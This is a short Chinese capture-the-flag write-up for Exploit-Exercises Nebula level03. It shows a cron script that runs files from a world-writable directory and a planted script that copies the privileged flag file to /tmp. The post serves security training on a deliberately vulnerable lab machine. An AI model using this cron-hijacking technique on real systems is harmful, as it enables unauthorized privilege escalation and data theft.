您的位置:首页 > 其它

i春秋 - Exploit-Exercises: Nebula - level03

2017-02-25 22:13 609 查看

About

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

思路

先进flag文件夹看看

cd /home/flag03
vim writable.sh


#!/bin/sh

for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done


程序逻辑

依次执行writable.d文件夹下的所有脚本,然后删除

根据题目可知系统会每隔几分钟执行writable.sh脚本,并且writable.d文件夹是所有人可写的。那么获取flag的思路之一,便可以是写一个获取flag的脚本放进writable.d文件夹里,执行结果重定向到/tmp中文件。

cd /tmp
vim hack


cat /home/flag03/flag > /tmp/flag03


chmod 755 hack
mv hack /home/flag03/writable.d/
cat /tmp/flag03


As for the time, good luck for you!

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  exploit